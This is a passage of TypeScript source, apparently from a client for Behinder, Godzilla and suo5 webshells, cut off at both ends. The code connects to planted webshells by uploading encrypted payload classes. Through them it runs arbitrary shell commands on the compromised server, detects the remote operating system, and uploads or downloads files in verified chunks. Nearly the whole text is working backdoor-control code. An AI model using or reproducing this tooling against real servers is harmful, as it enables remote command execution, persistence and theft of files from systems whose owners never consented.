envelope` +\n (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : \" (empty body)\"),\n );\n }\n }\n\n return {\n ok: false,\n tool: \"behinder\",\n url,\n error: failures.join(\"; \") + \" — wrong password, missing gate header, or not a Behinder shell\",\n durationMs: Date.now() - started,\n };\n}\n\n/**\n * Behinder command execution — uploads the `Cmd` payload class with its\n * static `cmd` field filled in (same `Params.getParamedClass` mechanism as\n * the Echo payload). The payload picks `cmd.exe /c` or `/bin/sh -c` itself\n * based on `os.name`, so no OS detection is needed here.\n * The response is the usual Behinder envelope: base64(AES({status, msg})),\n * where `msg` is the base64-encoded command output (stdout then stderr).\n */\nexport async function execBehinder(\n url: string,\n pass: string,\n command: string,\n options: BehinderConnectOptions = {},\n): Promise<ExecResult> {\n const started = Date.now();\n const key = md5Key16(pass);\n const classBytes = injectStringConstant(CMD_CLASS_BYTES, \"cmd\", command);\n\n const fail = (error: string): ExecResult => ({\n ok: false,\n tool: \"behinder\",\n url,\n command,\n error,\n durationMs: Date.now() - started,\n });\n\n const encodings: Array<\"base64\" | \"raw\"> =\n options.requestEncoding === \"raw\"\n ? [\"raw\"]\n : options.requestEncoding === \"base64\"\n ? [\"base64\"]\n : [\"base64\", \"raw\"];\n\n const failures: string[] = [];\n for (const encoding of encodings) {\n const encrypted = aesEcbEncrypt(classBytes, key);\n const body = encoding === \"base64\" ? Buffer.from(encrypted.toString(\"base64\")) : encrypted;\n let response;\n try {\n response = await postRaw(url, body, {\n headers: buildHeaders({ \"Content-Type\": \"application/octet-stream\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return fail(err instanceof Error ? err.message : String(err));\n }\n\n const envelope = parseEchoResponse(response.body, key);\n if (envelope) {\n if (envelope.status === \"success\") {\n return {\n ok: true,\n tool: \"behinder\",\n url,\n command,\n output: envelope.msg,\n durationMs: Date.now() - started,\n };\n }\n // the payload executed but reported failure — its msg says why\n return fail(`remote status \"fail\": ${envelope.msg}`);\n }\n failures.push(\n `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` +\n (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : \" (empty body)\"),\n );\n }\n\n return fail(\n failures.join(\"; \") + \" — wrong password, missing gate header, or not a Behinder shell\",\n );\n}\n\n/* ------------------------------------------------------------------------ *\n * File transfer (FileOperation payload)\n *\n * Behinder v4.1's FileOperation class is uploaded like the Cmd payload, with\n * static String fields filled client-side (mode/path/content/blockIndex/\n * blockSize). Protocol choices, matching the official client:\n *\n * - upload: mode=create for the first chunk (truncate + write), mode=append\n * for the rest — sequential and session-independent. The `update` mode the\n * GUI uses is NOT safe here: it caches a FileChannel in the http session\n * and falls back to a *truncating* FileOutputStream per request without a\n * session cookie, corrupting multi-chunk uploads when the shell gives us\n * no session.\n * - download: mode=downloadPart (absolute blockIndex*blockSize positioning,\n * read-only, safe without a session). mode=download is broken in the\n * payload (reflection type mismatch) and never used by the GUI either.\n * - size probe: mode=checkExist returns the decimal file size.\n * - integrity: mode=check returns the remote MD5 hex [0:16] and closes any\n * session-cached channels. It NPEs on empty files (null msg in buildJson),\n * so empty transfers verify via checkExist instead.\n * - downloadPart's msg is base64 TWICE (payload base64s the chunk, buildJson\n * base64s every value again) — parseEchoResponse strips one layer.\n * ------------------------------------------------------------------------ */\n\n/** Raw upload block: base64 -> 61440 chars, under the 65535 constant-pool UTF8 limit. */\nconst BH_UPLOAD_CHUNK = 46080;\n/** Download block, same as the official client (0x100000). */\nconst BH_DOWNLOAD_CHUNK = 1024 * 1024;\n/** Whole-file downloads are buffered in memory — refuse absurd sizes. */\nconst BH_MAX_DOWNLOAD = 0x7fffffff; // 2 GiB\n/** Download chunks are idempotent (read-only, absolute position) — safe to retry. */\nconst BH_CHUNK_ATTEMPTS = 3;\n/**\n * The payload's `check` reads the whole remote file byte-by-byte to MD5 it\n * (getFileData) — minutes and gigabytes of heap for big files. Above this\n * size verify with a cheap checkExist size comparison instead.\n */\nconst BH_HASH_CHECK_LIMIT = 128 * 1024 * 1024;\n\ninterface BehinderChannel {\n /** Upload the FileOperation class with `fields` filled; resolve the envelope. */\n invoke(fields: Record<string, string>): Promise<EchoEnvelope>;\n}\n\n/**\n * A Behinder request channel: reuses the working request encoding (base64 vs\n * raw AES) once discovered instead of retrying both per chunk, and relays\n * any session cookie the shell hands out (lets the payload cache its file\n * channel, and lets `check` close it afterwards).\n */\nfunction openBehinderChannel(\n url: string,\n key: string,\n options: BehinderConnectOptions = {},\n): BehinderChannel {\n let pinned: \"base64\" | \"raw\" | null = options.requestEncoding ?? null;\n let cookie: string | undefined;\n\n const invoke = async (fields: Record<string, string>): Promise<EchoEnvelope> => {\n let classBytes: Buffer = FILE_OPERATION_CLASS_BYTES;\n for (const [name, value] of Object.entries(fields)) {\n classBytes = injectStringConstant(classBytes, name, value);\n }\n const encrypted = aesEcbEncrypt(classBytes, key);\n const encodings: Array<\"base64\" | \"raw\"> = pinned ? [pinned] : [\"base64\", \"raw\"];\n\n const failures: string[] = [];\n for (const encoding of encodings) {\n const body = encoding === \"base64\" ? Buffer.from(encrypted.toString(\"base64\")) : encrypted;\n const baseHeaders = buildHeaders({ \"Content-Type\": \"application/octet-stream\" }, options);\n const response = await postRaw(url, body, {\n headers: cookie ? { ...baseHeaders, Cookie: cookie } : baseHeaders,\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n const setCookies = extractCookies(response.headers);\n if (setCookies.length > 0) cookie = setCookies.join(\"; \");\n\n const envelope = parseEchoResponse(response.body, key);\n if (envelope) {\n pinned = encoding;\n return envelope;\n }\n failures.push(\n `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` +\n (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : \" (empty body)\"),\n );\n }\n throw new Error(\n failures.join(\"; \") + \" — wrong password, missing gate header, or not a Behinder shell\",\n );\n };\n\n return { invoke };\n}\n\nexport interface BehinderTransferOptions extends BehinderConnectOptions {\n /** Override the download chunk size (tests use tiny chunks). */\n downloadChunkSize?: number;\n /** Override the MD5-vs-size verification threshold (tests use tiny values). */\n hashCheckLimit?: number;\n}\n\ninterface RemoteVerification {\n error?: string;\n detail?: string;\n}\n\n/**\n * Post-transfer integrity check. Small files: `check` returns the remote\n * MD5 hex [0:16] (and closes any session-cached stream) — compare against\n * the local bytes. Above `limit`: the payload's check would read the whole\n * remote file byte-by-byte, so fall back to a checkExist size comparison\n * and say so in the detail.\n */\nasync function verifyBehinderRemote(\n channel: BehinderChannel,\n remotePath: string,\n data: Buffer,\n limit: number,\n mismatchNote: string,\n): Promise<RemoteVerification> {\n if (data.length > limit) {\n try {\n const envelope = await channel.invoke({ mode: \"checkExist\", path: remotePath });\n const text = envelope.status === \"success\" ? envelope.msg.trim() : \"\";\n if (!/^\\d+$/.test(text) || Number.parseInt(text, 10) !== data.length) {\n return {\n error:\n `size verification failed — local ${data.length} bytes, ` +\n `remote said ${JSON.stringify(envelope.msg)}`,\n };\n }\n return { detail: `over ${limit} bytes — MD5 check skipped, size verified` };\n } catch (err) {\n return {\n detail: `size verification unavailable (${err instanceof Error ? err.message : String(err)})`,\n };\n }\n }\n\n try {\n const envelope = await channel.invoke({ mode: \"check\", path: remotePath });\n if (envelope.status === \"success\" && /^[0-9a-fA-F]{16}$/.test(envelope.msg.trim())) {\n const local = md5Hex(data).slice(0, 16).toLowerCase();\n if (envelope.msg.trim().toLowerCase() !== local) {\n return {\n error: `hash mismatch — remote md5[0:16]=${envelope.msg.trim()}, local=${local} ${mismatchNote}`,\n };\n }\n return {};\n }\n return { detail: \"hash verification unavailable (unexpected check response)\" };\n } catch {\n return { detail: \"hash verification unavailable (check request failed)\" };\n }\n}\n\n/**\n * Behinder file download — checkExist for the size, downloadPart chunks,\n * then `check` for an MD5[0:16] comparison against the received bytes.\n */\nexport async function downloadBehinder(\n url: string,\n pass: string,\n remotePath: string,\n options: BehinderTransferOptions = {},\n): Promise<DownloadResult> {\n const started = Date.now();\n const key = md5Key16(pass);\n const fail = (error: string): DownloadResult => ({\n ok: false,\n tool: \"behinder\",\n url,\n direction: \"download\",\n remotePath,\n error,\n durationMs: Date.now() - started,\n });\n\n const channel = openBehinderChannel(url, key, options);\n\n // ---- size probe ----\n let size: number;\n try {\n const envelope = await channel.invoke({ mode: \"checkExist\", path: remotePath });\n if (envelope.status !== \"success\") {\n return fail(\n `remote path not found (or not readable): ${remotePath}` +\n (envelope.msg ? ` — ${envelope.msg}` : \"\"),\n );\n }\n const text = envelope.msg.trim();\n if (!/^\\d+$/.test(text)) {\n return fail(`unexpected checkExist response: ${JSON.stringify(envelope.msg)}`);\n }\n size = Number.parseInt(text, 10);\n } catch (err) {\n return fail(err instanceof Error ? err.message : String(err));\n }\n if (size > BH_MAX_DOWNLOAD) {\n return fail(`remote file is ${size} bytes — refusing to buffer over 2 GiB in memory`);\n }\n\n // ---- chunked read (empty file: no chunks at all) ----\n const chunkSize = options.downloadChunkSize ?? BH_DOWNLOAD_CHUNK;\n const parts: Buffer[] = [];\n let downloaded = 0;\n const blockCount = Math.ceil(size / chunkSize);\n for (let index = 0; index < blockCount; index++) {\n const want = Math.min(chunkSize, size - downloaded);\n let chunk: Buffer | null = null;\n let serverSays = \"\";\n for (let attempt = 1; attempt <= BH_CHUNK_ATTEMPTS && chunk === null; attempt++) {\n try {\n const envelope = await channel.invoke({\n mode: \"downloadPart\",\n path: remotePath,\n blockIndex: String(index),\n blockSize: String(chunkSize),\n });\n if (envelope.status !== \"success\") {\n // e.g. the file shrank mid-transfer (EOF read -> status fail)\n serverSays = envelope.msg || \"remote status fail\";\n continue;\n }\n const buf = Buffer.from(envelope.msg, \"base64\");\n if (buf.length !== want) {\n serverSays = `short chunk: got ${buf.length} of ${want} bytes`;\n continue;\n }\n chunk = buf;\n } catch (err) {\n serverSays = err instanceof Error ? err.message : String(err);\n }\n }\n if (chunk === null) {\n return fail(`chunk ${index} at offset ${downloaded}/${size} failed — ${serverSays}`);\n }\n parts.push(chunk);\n downloaded += chunk.length;\n }\n const data = Buffer.concat(parts);\n\n // ---- integrity check (MD5, or size above the limit) ----\n // Empty files make the payload's check NPE (null msg) — nothing to hash anyway.\n let detail: string | undefined;\n if (size === 0) {\n detail = \"remote file is empty — hash check skipped\";\n } else {\n const verification = await verifyBehinderRemote(\n channel,\n remotePath,\n data,\n options.hashCheckLimit ?? BH_HASH_CHECK_LIMIT,\n \"(the file changed during transfer?)\",\n );\n if (verification.error) return fail(verification.error);\n detail = verification.detail;\n }\n\n return {\n ok: true,\n tool: \"behinder\",\n url,\n direction: \"download\",\n remotePath,\n bytes: data.length,\n detail,\n data,\n durationMs: Date.now() - started,\n };\n}\n\n/**\n * Behinder file upload — first chunk mode=create (truncate + write), the rest\n * mode=append, then `check` for an MD5[0:16] comparison. Append is not\n * idempotent, so a failed chunk aborts immediately (the error says the\n * remote file may be partial) instead of risking duplicated content.\n */\nexport async function uploadBehinder(\n url: string,\n pass: string,\n remotePath: string,\n data: Buffer,\n options: BehinderTransferOptions = {},\n): Promise<TransferResult> {\n const started = Date.now();\n const key = md5Key16(pass);\n const fail = (error: string): TransferResult => ({\n ok: false,\n tool: \"behinder\",\n url,\n direction: \"upload\",\n remotePath,\n error,\n durationMs: Date.now() - started,\n });\n\n const channel = openBehinderChannel(url, key, options);\n\n if (data.length === 0) {\n // create truncates; an empty content field produces an empty remote file.\n try {\n const envelope = await channel.invoke({ mode: \"create\", path: remotePath, content: \"\" });\n if (envelope.status !== \"success\") {\n return fail(`server said: ${envelope.msg || \"remote status fail\"}`);\n }\n } catch (err) {\n return fail(err instanceof Error ? err.message : String(err));\n }\n return {\n ok: true,\n tool: \"behinder\",\n url,\n direction: \"upload\",\n remotePath,\n bytes: 0,\n detail: \"empty file — hash check skipped\",\n durationMs: Date.now() - started,\n };\n }\n\n let offset = 0;\n let index = 0;\n while (offset < data.length) {\n const chunk = data.subarray(offset, Math.min(offset + BH_UPLOAD_CHUNK, data.length));\n const mode = index === 0 ? \"create\" : \"append\";\n try {\n const envelope = await channel.invoke({\n mode,\n path: remotePath,\n content: chunk.toString(\"base64\"),\n });\n if (envelope.status !== \"success\") {\n return fail(\n `chunk ${index} failed at offset ${offset}/${data.length} — server said: ` +\n `${envelope.msg || \"remote status fail\"} — the remote file may be incomplete`,\n );\n }\n } catch (err) {\n return fail(\n `chunk ${index} failed at offset ${offset}/${data.length}: ` +\n `${err instanceof Error ? err.message : String(err)} — the remote file may be incomplete`,\n );\n }\n offset += chunk.length;\n index++;\n }\n\n // ---- integrity check (MD5, or size above the limit) ----\n const verification = await verifyBehinderRemote(\n channel,\n remotePath,\n data,\n options.hashCheckLimit ?? BH_HASH_CHECK_LIMIT,\n \"(the upload was corrupted)\",\n );\n if (verification.error) return fail(verification.error);\n\n return {\n ok: true,\n tool: \"behinder\",\n url,\n direction: \"upload\",\n remotePath,\n bytes: data.length,\n detail: verification.detail,\n durationMs: Date.now() - started,\n };\n}\n","/**\n * Godzilla (哥斯拉) protocol client — JavaDynamicPayload.\n *\n * Mirrors the Godzilla client's connect + payload method calls:\n * xc = md5(key)[0:16] (AES key)\n * md5 = md5(pass + xc), uppercase (response wrapper)\n * 1. POST `pass=urlencode(base64(AES(payloadClass)))` — the shell stores the\n * payload class (static field or http session, hence the cookie relay)\n * 2. POST `pass=urlencode(base64(AES(gzip(serialize({methodName:...})))))`\n * 3. response = md5[0:16] + base64(AES(gzip(result))) + md5[16:32]\n *\n * `Parameter.serialize` format: key bytes + 0x02 + little-endian u32 length +\n * value. Values are raw bytes — the payload does no base64 decoding\n * (`getByteArray` returns them as-is).\n */\nimport iconv from \"iconv-lite\";\n\nimport { GODZILLA_PAYLOAD_BYTES } from \"./assets.js\";\nimport { aesEcbDecrypt, aesEcbEncrypt, gunzipLenient, gzip, md5Hex, md5Key16 } from \"./crypto.js\";\nimport { extractCookies, postRaw } from \"./http.js\";\nimport {\n buildHeaders,\n type CommonConnectOptions,\n type ConnectTestResult,\n type DownloadResult,\n type ExecResult,\n type TransferResult,\n} from \"./types.js\";\n\n/** Godzilla's `Parameter.serialize`: key bytes + 0x02 + little-endian u32 length + value. */\nfunction serializeParams(params: Array<[string, Buffer]>): Buffer {\n const parts: Buffer[] = [];\n for (const [key, value] of params) {\n const len = Buffer.alloc(4);\n len.writeUInt32LE(value.length, 0);\n parts.push(Buffer.from(key, \"utf8\"), Buffer.from([0x02]), len, value);\n }\n return Buffer.concat(parts);\n}\n\nfunction encodeBody(pass: string, xc: string, data: Buffer): Buffer {\n const encrypted = aesEcbEncrypt(data, xc).toString(\"base64\");\n return Buffer.from(`${pass}=${encodeURIComponent(encrypted)}`, \"utf8\");\n}\n\nfunction excerpt(body: Buffer): string {\n const text = body\n .toString(\"latin1\")\n .replace(/[^\\x20-\\x7e]+/g, \" \")\n .trim();\n return text.length > 200 ? `${text.slice(0, 200)}...` : text;\n}\n\nfunction errMsg(err: unknown): string {\n return err instanceof Error ? err.message : String(err);\n}\n\n/**\n * Decode payload status/error text. Method results like \"ok\" and the size\n * digits are ASCII either way, but exception messages go through the\n * payload's `String.getBytes()` — the server's *platform default* charset\n * (UTF-8 on most Linux, GBK on Chinese Windows). Try strict UTF-8 first,\n * fall back to GBK so the user gets a readable reason instead of mojibake.\n * Never used on file content — only on short status/error strings.\n */\nfunction decodeServerText(buf: Buffer): string {\n try {\n return new TextDecoder(\"utf-8\", { fatal: true }).decode(buf);\n } catch {\n try {\n return new TextDecoder(\"gbk\").decode(buf);\n } catch {\n return buf.toString(\"utf8\");\n }\n }\n}\n\n/**\n * Encode a remote path for the wire. The payload decodes parameter strings\n * with the server's platform default charset (`new String(bytes)`), so on a\n * non-UTF-8 server (old JDK on Chinese Windows → GBK) a non-ASCII path must\n * be sent in that charset. The user tells us via --remote-charset (probing\n * file.encoding would need getBasicsInfo, whose reverse-DNS lookups can\n * block for tens of seconds — the Godzilla GUI pays the same cost). iconv\n * covers every Java charset label (GBK, MS932, Cp1252, ...); unknown labels\n * degrade to UTF-8. ASCII paths are byte-identical in every charset.\n */\nfunction encodeRemotePath(remotePath: string, remoteCharset: string | undefined): Buffer {\n if (remoteCharset === undefined || /^utf-?8$/i.test(remoteCharset)) {\n return Buffer.from(remotePath, \"utf8\");\n }\n if (!iconv.encodingExists(remoteCharset)) {\n return Buffer.from(remotePath, \"utf8\");\n }\n return iconv.encode(remotePath, remoteCharset);\n}\n\ninterface GodzillaSession {\n /** Invoke a payload method; resolves to the decrypted + gunzipped result. */\n callMethod(methodName: string, extraParams?: Array<[string, Buffer]>): Promise<Buffer>;\n}\n\n/**\n * Upload the payload class (request 1) and return an invoker for payload\n * methods (request 2+), bound to the session cookie the shell handed out.\n * Throws on transport errors; `callMethod` throws when the response is not a\n * valid Godzilla envelope.\n */\nasync function openGodzillaSession(\n url: string,\n pass: string,\n key: string,\n options: CommonConnectOptions = {},\n): Promise<GodzillaSession> {\n const xc = md5Key16(key);\n const wrapper = md5Hex(pass + xc).toUpperCase();\n const left = wrapper.slice(0, 16);\n const right = wrapper.slice(16);\n\n const baseHeaders = buildHeaders(\n { \"Content-Type\": \"application/x-www-form-urlencoded\" },\n options,\n );\n const post = (data: Buffer, cookie?: string) =>\n postRaw(url, encodeBody(pass, xc, data), {\n headers: cookie ? { ...baseHeaders, Cookie: cookie } : baseHeaders,\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n\n // ---- request 1: upload the payload class ----\n const initResponse = await post(GODZILLA_PAYLOAD_BYTES);\n const cookies = extractCookies(initResponse.headers);\n const cookie = cookies.length > 0 ? cookies.join(\"; \") : undefined;\n\n return {\n async callMethod(methodName: string, extraParams: Array<[string, Buffer]> = []) {\n const callData = gzip(\n serializeParams([[\"methodName\", Buffer.from(methodName, \"utf8\")], ...extraParams]),\n );\n const res = await post(callData, cookie);\n const text = res.body.toString(\"latin1\");\n const leftIdx = text.indexOf(left);\n const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length);\n if (leftIdx === -1 || rightIdx === -1) {\n throw new Error(\n `HTTP ${res.status}, response lacks the Godzilla wrapper` +\n (text.trim().length > 0 ? ` (starts with: ${excerpt(res.body)})` : \" (empty body)\") +\n \" — wrong pass/key, missing gate header, or not a Godzilla shell\",\n );\n }\n const wrapped = text.slice(leftIdx + left.length, rightIdx);\n try {\n return gunzipLenient(aesEcbDecrypt(Buffer.from(wrapped, \"base64\"), xc));\n } catch {\n throw new Error(\"found wrapper but failed to decrypt — wrong key?\");\n }\n },\n };\n}\n\nexport async function testGodzilla(\n url: string,\n pass: string,\n key: string,\n options: CommonConnectOptions = {},\n): Promise<ConnectTestResult> {\n const started = Date.now();\n\n let session: GodzillaSession;\n try {\n session = await openGodzillaSession(url, pass, key, options);\n } catch (err) {\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error: errMsg(err),\n durationMs: Date.now() - started,\n };\n }\n\n let result: string;\n try {\n result = (await session.callMethod(\"test\")).toString(\"utf8\").trim();\n } catch (err) {\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error: errMsg(err),\n durationMs: Date.now() - started,\n };\n }\n\n if (result === \"ok\") {\n return {\n ok: true,\n tool: \"godzilla\",\n url,\n detail: `payload uploaded, \"test\" returned ok`,\n durationMs: Date.now() - started,\n };\n }\n return {\n ok: false,\n tool: \"godzilla\",\n url,\n error: `decrypted response is ${JSON.stringify(result)}, expected \"ok\"`,\n durationMs: Date.now() - started,\n };\n}\n\nexport interface GodzillaExecOptions extends CommonConnectOptions {\n /**\n * Remote OS family, used to pick the shell wrapper (`cmd.exe /c` vs\n * `/bin/sh -c`). \"auto\" (default) asks the payload's `getBasicsInfo`\n * first — one extra request per exec.\n */\n os?: \"auto\" | \"windows\" | \"linux\";\n}\n\n/**\n * Godzilla command execution — invokes the payload's `execCommand` method.\n * The payload runs `Runtime.exec(argv)` (no shell of its own), so the\n * command line is wrapped in `cmd.exe /c` or `/bin/sh -c` here.\n */\nexport async function execGodzilla(\n url: string,\n pass: string,\n key: string,\n command: string,\n options: GodzillaExecOptions = {},\n): Promise<ExecResult> {\n const started = Date.now();\n const fail = (error: string): ExecResult => ({\n ok: false,\n tool: \"godzilla\",\n url,\n command,\n error,\n durationMs: Date.now() - started,\n });\n\n let session: GodzillaSession;\n try {\n session = await openGodzillaSession(url, pass, key, options);\n } catch (err) {\n return fail(errMsg(err));\n }\n\n // ---- optional: detect the remote OS ----\n let os = options.os ?? \"auto\";\n if (os === \"auto\") {\n try {\n const info = (await session.callMethod(\"getBasicsInfo\")).toString(\"utf8\");\n const osLine = info.split(\"\\n\").find((l) => l.startsWith(\"OsInfo :\")) ?? info;\n os = /os\\.name:[^\\n]*windows/i.test(osLine) ? \"windows\" : \"linux\";\n } catch (err) {\n return fail(errMsg(err));\n }\n }\n\n // ---- execCommand ----\n const argv =\n os === \"windows\" ? [\"cmd.exe\", \"/c\", command] : [\"/bin/sh\", \"-c\", command];\n const params: Array<[string, Buffer]> = [\n [\"argsCount\", Buffer.from(String(argv.length), \"utf8\")],\n ...argv.map((arg, i): [string, Buffer] => [`arg-${i}`, Buffer.from(arg, \"utf8\")]),\n ];\n try {\n const output = await session.callMethod(\"execCommand\", params);\n return {\n ok: true,\n tool: \"godzilla\",\n url,\n command,\n output: output.toString(\"utf8\"),\n durationMs: Date.now() - started,\n };\n } catch (err) {\n return fail(errMsg(err));\n }\n}\n\n/** 1 MiB — the Godzilla client's own big-file block size. */\nconst DEFAULT_CHUNK = 1024 * 1024;\n/** The payload parses position/readByteNum as Java int — no >2 GiB files. */\nconst MAX_REMOTE_SIZE = 0x7fffffff;\n/** Per-chunk attempts; offset-based writes/reads are idempotent, so retry is safe. */\nconst CHUNK_ATTEMPTS = 3;\n\nexport interface GodzillaTransferOptions extends CommonConnectOptions {\n /** Chunk size for the big-file transfer loop (default 1 MiB). */\n chunkSize?: number;\n /**\n * Charset of the remote JVM's platform default encoding (any Java label —\n * \"GBK\", \"MS932\", ...), used to encode non-ASCII remote paths. Default\n * UTF-8 (correct on JDK 18+ and virtually all Linux servers).\n */\n remoteCharset?: string;\n}\n\nfunction fileParams(pathBytes: Buffer, extra: Array<[string, Buffer]>): Array<[string, Buffer]> {\n return [[\"fileName\", pathBytes], ...extra];\n}\n\n/**\n * Godzilla file download — the payload's `bigFileDownload` method:\n * mode=fileSize -> decimal ASCII size (File.length(); 0 for missing files!)\n * mode=read -> up to readByteNum raw bytes starting at position\n * A chunk is accepted iff `chunk.length == readByteNum` (full read) or\n * `chunk.length + downloaded == fileSize` (short read at EOF) — the same\n * criterion the Godzilla client uses; anything else is the payload's error\n * text (\"Exception errMsg:...\"), never file content to keep.\n */\nexport async function downloadGodzilla(\n url: string,\n pass: string,\n key: string,\n remotePath: string,\n options: GodzillaTransferOptions = {},\n): Promise<DownloadResult> {\n const started = Date.now();\n const fail = (error: string): DownloadResult => ({\n ok: false,\n tool: \"godzilla\",\n url,\n direction: \"download\",\n remotePath,\n error,\n durationMs: Date.now() - started,\n });\n\n let session: GodzillaSession;\n try {\n session = await openGodzillaSession(url, pass, key, options);\n } catch (err) {\n return fail(errMsg(err));\n }\n const pathBytes = encodeRemotePath(remotePath, options.remoteCharset);\n\n // ---- size probe ----\n let sizeText: string;\n try {\n sizeText = decodeServerText(\n await session.callMethod(\n \"bigFileDownload\",\n fileParams(pathBytes, [\n [\"mode\", Buffer.from(\"fileSize\")],\n [\"position\", Buffer.from(\"0\")],\n [\"readByteNum\", Buffer.from(\"0\")],\n ]),\n ),\n ).trim();\n } catch (err) {\n return fail(errMsg(err));\n }\n if (!/^\\d+$/.test(sizeText)) {\n return fail(`cannot get remote file size — server said: ${JSON.stringify(sizeText)}`);\n }\n const size = Number.parseInt(sizeText, 10);\n if (size > MAX_REMOTE_SIZE) {\n return fail(\n `remote file is ${size} bytes — the Godzilla payload cannot handle files over 2 GiB`,\n );\n }\n\n // ---- chunked read ----\n // A zero-byte size still gets one probe read: File.length() is 0 both for\n // \"exists and empty\" and for \"does not exist\". A read with readByteNum=0\n // tells them apart — the payload's read(byte[0]) returns 0 bytes (success)\n // for an existing file, while a missing file throws FileNotFoundException\n // in the FileInputStream constructor (an \"Exception errMsg:...\" string\n // that fails the acceptance criterion below). Note readByteNum>0 at EOF\n // makes the payload fail with \"Exception errMsg:-1\" (NegativeArraySize),\n // so the probe must ask for exactly 0 bytes.\n const chunkSize = options.chunkSize ?? DEFAULT_CHUNK;\n const parts: Buffer[] = [];\n let downloaded = 0;\n for (;;) {\n if (size > 0 && downloaded >= size) break;\n if (size === 0 && parts.length > 0) break;\n\n const want = size === 0 ? 0 : Math.min(chunkSize, size - downloaded);\n let chunk: Buffer | null = null;\n let serverSays = \"\";\n for (let attempt = 1; attempt <= CHUNK_ATTEMPTS && chunk === null; attempt++) {\n try {\n const res = await session.callMethod(\n \"bigFileDownload\",\n fileParams(pathBytes, [\n [\"mode\", Buffer.from(\"read\")],\n [\"position\", Buffer.from(String(downloaded))],\n [\"readByteNum\", Buffer.from(String(want))],\n ]),\n );\n if (res.length === want || res.length + downloaded === size) {\n chunk = res;\n } else {\n serverSays = decodeServerText(res).trim();\n }\n } catch (err) {\n serverSays = errMsg(err);\n }\n }\n if (chunk === null) {\n return fail(\n `read failed at offset ${downloaded}/${size} — server said: ${JSON.stringify(serverSays)}`,\n );\n }\n parts.push(chunk);\n downloaded += chunk.length;\n }\n\n const data = Buffer.concat(parts);\n if (data.length !== size) {\n return fail(\n `incomplete download: got ${data.length} of ${size} bytes — the file changed during transfer?`,\n );\n }\n return {\n ok: true,\n tool: \"godzilla\",\n url,\n direction: \"download\",\n remotePath,\n bytes: data.length,\n data,\n durationMs: Date.now() - started,\n };\n}\n\n/**\n * Godzilla file upload.\n * Small files (≤ chunkSize) go in one `uploadFile` call (truncate + write —\n * the payload's whole-file method, same as the Godzilla client's normal\n * upload). Bigger files use `bigFileUpload` with an absolute `position`\n * (RandomAccessFile seek + write, idempotent → safe per-chunk retry).\n * Afterwards the remote size is verified via `bigFileDownload mode=fileSize`.\n */\nexport async function uploadGodzilla(\n url: string,\n pass: string,\n key: string,\n remotePath: string,\n data: Buffer,\n options: GodzillaTransferOptions = {},\n): Promise<TransferResult> {\n const started = Date.now();\n const fail = (error: string): TransferResult => ({\n ok: false,\n tool: \"godzilla\",\n url,\n direction: \"upload\",\n remotePath,\n error,\n durationMs: Date.now() - started,\n });\n\n let session: GodzillaSession;\n try {\n session = await openGodzillaSession(url, pass, key, options);\n } catch (err) {\n return fail(errMsg(err));\n }\n const pathBytes = encodeRemotePath(remotePath, options.remoteCharset);\n\n const chunkSize = options.chunkSize ?? DEFAULT_CHUNK;\n if (data.length <= chunkSize) {\n let text: string;\n try {\n text = decodeServerText(\n await session.callMethod(\"uploadFile\", fileParams(pathBytes, [[\"fileValue\", data]])),\n ).trim();\n } catch (err) {\n return fail(errMsg(err));\n }\n if (text !== \"ok\") {\n return fail(`server said: ${JSON.stringify(text)}`);\n }\n } else {\n let offset = 0;\n while (offset < data.length) {\n const chunk = data.subarray(offset, Math.min(offset + chunkSize, data.length));\n let ok = false;\n let serverSays = \"\";\n for (let attempt = 1; attempt <= CHUNK_ATTEMPTS && !ok; attempt++) {\n try {\n const res = await session.callMethod(\n \"bigFileUpload\",\n fileParams(pathBytes, [\n [\"fileContents\", chunk],\n [\"position\", Buffer.from(String(offset))],\n ]),\n );\n serverSays = decodeServerText(res).trim();\n ok = serverSays === \"ok\";\n } catch (err) {\n serverSays = errMsg(err);\n }\n }\n if (!ok) {\n return fail(\n `upload failed at offset ${offset}/${data.length} — server said: ${JSON.stringify(serverSays)}`,\n );\n }\n offset += chunk.length;\n }\n }\n\n // ---- verify the remote size matches ----\n try {\n const sizeText = decodeServerText(\n await session.callMethod(\n \"bigFileDownload\",\n fileParams(pathBytes, [\n [\"mode\", Buffer.from(\"fileSize\")],\n [\"position\", Buffer.from(\"0\")],\n [\"readByteNum\", Buffer.from(\"0\")],\n ]),\n ),\n ).trim();\n if (!/^\\d+$/.test(sizeText) || Number.parseInt(sizeText, 10) !== data.length) {\n return fail(\n `upload finished but remote size mismatch — sent ${data.length} bytes, server said: ${JSON.stringify(sizeText)}`,\n );\n }\n } catch (err) {\n return fail(`upload finished but size verification failed: ${errMsg(err)}`);\n }\n\n return {\n ok: true,\n tool: \"godzilla\",\n url,\n direction: \"upload\",\n remotePath,\n bytes: data.length,\n durationMs: Date.now() - started,\n };\n}\n","/**\n * suo5 connection test.\n *\n * Two wire protocols exist in the wild:\n *\n * - \"v2\": the zema1/suo5 protocol (also what MemShellParty's `Suo5v2` shells\n * and the real suo5.jsp speak). Connection test = the client's\n * `checkConnectMode` in classic mode: POST one base64 frame\n * `{ac:0x01, id, dt:identifier, a:0x00, m:0x00(checking)}`; the shell echoes\n * `dt` in frame 1 and returns a session id in frame 2.\n *\n * - \"v1\": MemShellParty's legacy `Suo5` shell (raw binary single-byte-XOR\n * frames). Its full-duplex probe (`Content-Type: application/plain`) echoes\n * back 32 bytes verbatim — that round-trip is the liveness check.\n */\nimport { randomBytes } from \"node:crypto\";\nimport { base64UrlDecode, base64UrlEncode, randomString } from \"./crypto.js\";\nimport { postRaw } from \"./http.js\";\nimport { buildHeaders, type CommonConnectOptions, type ConnectTestResult } from \"./types.js\";\n\nexport type Suo5Mode = \"auto\" | \"v2\" | \"v1\";\n\nexport interface Suo5ConnectOptions extends CommonConnectOptions {\n mode?: Suo5Mode;\n}\n\n// ---------- frame codec (zema1/suo5 netrans.DataFrame, base64 variant) ----------\n\n/** suo5's `Marshal`: [klen u8][key][vlen u32 BE][value] per entry. */\nexport function 